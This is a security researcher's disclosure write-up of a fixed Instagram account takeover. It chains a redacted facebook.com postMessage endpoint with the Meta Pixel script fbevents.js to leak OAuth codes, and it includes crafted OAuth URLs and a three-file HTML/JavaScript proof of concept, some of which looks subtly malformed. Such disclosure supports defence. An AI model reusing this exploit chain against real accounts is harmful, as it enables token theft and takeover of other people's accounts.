

Instagram account takeover via Meta Pixel script abuse

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Content

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Introduction

Meta's web ecosystem relies on cross-window messaging between first-party websites. In many cases, the only security control enforced is an origin check validating that messages originate from `facebook.com` or its subdomains.

This write-up describes how that assumption can be abused to steal first-party OAuth codes and generate first-party Instagram access tokens, ultimately enabling Instagram and Facebook account takeovers under realistic conditions.

The attack leverages a chain between a misconfigured Facebook endpoint and implicit trust in `postMessage` listeners such as in `fbevents.js`, which is widely deployed across Meta-owned and third-party websites.

Description

Cross-Window Trust in Meta JavaScript

Multiple Meta JavaScript modules register cross-window message listeners and trust incoming messages solely based on `event.origin` being `facebook.com` or one of its subdomains.

One such consumer is `fbevents.js`, the Meta Pixel script embedded on millions of websites. When loaded in a window that has an `opener`, `fbevents.js` registers a message listener and reacts to specific message types by issuing requests to `graph.facebook.com`, including contextual data such as the current website's `location.href` and `document.referrer`. These values would contain sensitive artifacts such as OAuth authorization codes or tokens.

Abusing facebook.com/REDACTED endpoint

The message source in this chain is the endpoint `https://www.facebook.com/REDACTED`

This endpoint constructs an object from user-supplied parameters and forwards it via `postMessage` to a target Facebook domain specified by the attacker.

Chaining with fbevents.js

When `fbevents.js` receives a message originating from `facebook.com` and matching specific message types, it uses the supplied `access_token` in the message to issue requests to `graph.facebook.com`.

Crucially, the attacker fully controls this `access_token`. Meaning by supplying an attacker-owned Graph Explorer token, the resulting requests can later be inspected in the Graph Explorer history, where leaked values such as the victim's OAuth code/token in the URL or `referrer` become visible.

Attack Scenario

The following scenario targets `developers.facebook.com`, which loads `fbevents.js` and hosts multiple OAuth callback endpoints for Instagram and Threads.

An example OAuth authorization request initiated by the attacker:

```
https://www.instagram.com/oauth/authorize/third_party?
&app_id=200289238967899
&redirect_uri=https://developers.facebook.com/instagram/token_generator/oauth/
&response_type=code
&scope=user_profile,user_media
&state={"app_id":"200289238967899","nonce":"WRONG_NONCE","user_id":"1"}
```

Using an invalid nonce causes the flow to land on an error page at `developers.facebook.com`, which still loads `fbevents.js`.

Because the window has an `opener`, `fbevents.js` initializes its message listener.

At this point, the attacker redirects attacker website to:

```
https://www.facebook.com/REDACTED/?
&graphToken=ATTACKER_EXPLORER_TOKEN
&msg_type=FACEBOOK_IWL_BOOTSTRAP
&pixelID=438056466377696
&sessionStartTime=1668626372000
```

This causes `www.facebook.com` to send a crafted message to the `opener` (`developers.facebook.com`) window under a trusted origin. `fbevents.js` consumes the message and issues Graph API requests using the attacker-controlled token, embedding `location.href` and `document.referrer` in these requests.

By inspecting the attacker token's history in Graph Explorer, the attacker can retrieve the Instagram OAuth authorization code and referrer data.

Generating a First-Party Instagram Access Token

The stolen code can be exchanged for a first-party Instagram access token by abusing the following endpoint:

```
https://developers.facebook.com/instagram/short_lived_access_token/oauth/?
&code=VICTIM_CODE
&state={"app_id":"FIRST_PARTY_APP","nonce":"YOUR_NONCE","user_id":"1"}
```

This returns a first-party Instagram access token, even when the code was generated by a different application. This in itself was a critical bug however Meta refused to acknowledge it and then later fixed it in secret.

PoC

index.html:

```
<html>
<head>
<meta name="referrer" content="no-referrer" />
</head>
<body>
Put your access_token in URL fragment and refresh (nothing is logged)
<button onclick="window.name='test';window.open('second.html' + location.hash)">Start
Attack</button>
</body>
</html>
```

second.html

```
<html>
<script>
window.open("wait.html" + location.hash,"test");
window.location.href = 'https://www.instagram.com/oauth/authorize/third_party/?
redirect_uri=https%3A%2F%2Fdevelopers.facebook.com%2Finstagram%2Ftoken_generator%2Foauth%
2F&response_type=code&scope=user_profile&app_id=17951132926087090&logger_id=02f8edcd-
6353-454e-80c3-ec5c4e496bd2&state={"app_id":1,"nonce":"somethingwrong"}';
</script>
</html>
```

wait.html

```
<html>
<body>
<script>
setInterval(function(){
    try{
        ATTACKER_EXPLORER_TOKEN = "";
        opener.frames[2].postMessage("ping","*");
        setTimeout(function(){
            window.location.href = `https://www.facebook.com/REDACTED/?
graphToken=${ATTACKER_EXPLORER_TOKEN} ||
encodeURIComponent(location.hash.substring(1))&msg_type=FACEBOOK_IWL_BOOTSTRAP&pixelID=4
38056466377696&sessionStartTime=1668626372000&`
            ,3000);
        }
        catch{}
    },100)
</script>
</body>
</html>
```

Impact

This vulnerability enables theft of first-party Instagram OAuth codes, generation of first-party access tokens, Instagram account takeover.

Because fbevents.js is widely deployed, the attack surface extends beyond Meta properties to third-party websites.

Timeline

Oct 16, 2024 — Bug reported

Oct 16, 2024 — Bug Acknowledged by Meta

Oct 24, 2024 — Bug fixed by Meta

Feb 12, 2025 — **\$32,500** bounty awarded by Meta

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